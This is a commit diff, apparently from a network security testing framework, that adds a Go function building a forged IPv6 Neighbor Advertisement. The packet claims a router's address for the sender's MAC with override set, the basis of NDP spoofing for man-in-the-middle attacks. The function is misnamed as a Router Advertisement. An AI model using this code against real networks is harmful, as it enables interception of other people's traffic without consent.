new: experimental ipv6 ndp spoofer (closes #851)

packets/icmp6.go

@@ -0,0 +1,38 @@
+package packets
+
+import (
+	"github.com/google/gopacket/layers"
+	"net"
+)
+
+func ICMP6RouterAdvertisement(srcHW net.HardwareAddr, srcIP net.IP, dstHW net.HardwareAddr, dstIP net.IP, routerIP net.IP) (error, []byte) {
+	eth := layers.Ethernet{
+		SrcMAC:       srcHW,
+		DstMAC:       dstHW,
+		EthernetType: layers.EthernetTypeIPv6,
+	}
+	ip6 := layers.IPv6{
+		NextHeader:   layers.IPProtocolICMPv6,
+		TrafficClass: 224,
+		Version:      6,
+		HopLimit:     255,
+		SrcIP:        srcIP,
+		DstIP:        dstIP,
+	}
+	icmp6 := layers.ICMPv6{
+		TypeCode: layers.ICMPv6TypeNeighborAdvertisement << 8,
+	}
+	adv := layers.ICMPv6NeighborAdvertisement{
+		Flags: 0x20 | 0x40, // solicited && override
+		TargetAddress: routerIP,
+		Options: []layers.ICMPv6Option{
+			{
+				Type: layers.ICMPv6OptTargetAddress,
+				Data: srcHW,
+			},
+		},
+	}
+	icmp6.SetNetworkLayerForChecksum(&ip6)
+
+	return Serialize(&eth, &ip6, &icmp6, &adv)
+}